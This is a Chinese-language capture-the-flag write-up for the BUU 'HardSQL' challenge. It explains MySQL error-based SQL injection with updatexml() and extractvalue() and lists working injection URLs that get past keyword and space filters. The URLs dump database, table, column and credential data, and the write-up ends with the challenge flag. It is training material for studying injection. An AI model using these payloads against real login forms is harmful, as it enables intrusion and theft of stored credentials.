[极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

目录

[极客大挑战 2019]HardSQL

解题过程

updataxml报错注入

extractvalue报错注入

相关链接:


题目:buu平台上的,题目链接


解题过程

fuzz一下,发现过滤了好多关键词,union select,sleep,and,空格等。

可以采用报错注入,可以使用updataxml或者extractvalue进行报错注入。

首先引用关于updatexml函数的解析,相关链接附在结尾

首先了解下updatexml()函数

1

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

改变XML_document中符合XPATH_string的值

而我们的注入语句为:

1

updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

1

ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

因为updatexml需要xpath格式的字符串,但是以~开头的字符串不符合,所以会报错,同时会将括号内的执行结果以错误的形式爆出。这就可以实现报错注入。

updataxml报错注入

查询版本

check.php?username=admin'^(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=1

[极客大挑战 2019]HardSQL

查询数据库名称

check.php?username=admin'^(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

[极客大挑战 2019]HardSQL

查询表名

check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

[极客大挑战 2019]HardSQL 

查询字段

check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1

[极客大挑战 2019]HardSQL

查询数据

check.php?username=admin'^(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=1

[极客大挑战 2019]HardSQL

只出来了左边一部分,现在查右边一部分

check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=1

[极客大挑战 2019]HardSQL

拼接起来

flag{943a7440-f657-4538-b395-19f34323cbde}

extractvalue报错注入

函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。

类似于updatexml()报错,第二个参数要是xpath格式的字符串,我们拼接一个0x7e(~),不符合该格式,自然会报错,根据报错执行的结果进行查询。

下面举一个例子

check.php?username=admin'^extractvalue(1,concat(0x7e,database()))%23&password=1

类似于updatexml()函数,不过这个函数是两个参数,注意这一点。其余类似。


相关链接:

1.SQL注入——报错注入原理

2.updatexml()函数报错原理解析

3.学习基于extractvalue()和updatexml()的报错注入

上一篇:Spring Boot MyBatis 通用Mapper 自动生成代码


下一篇:Header注入 掌控安全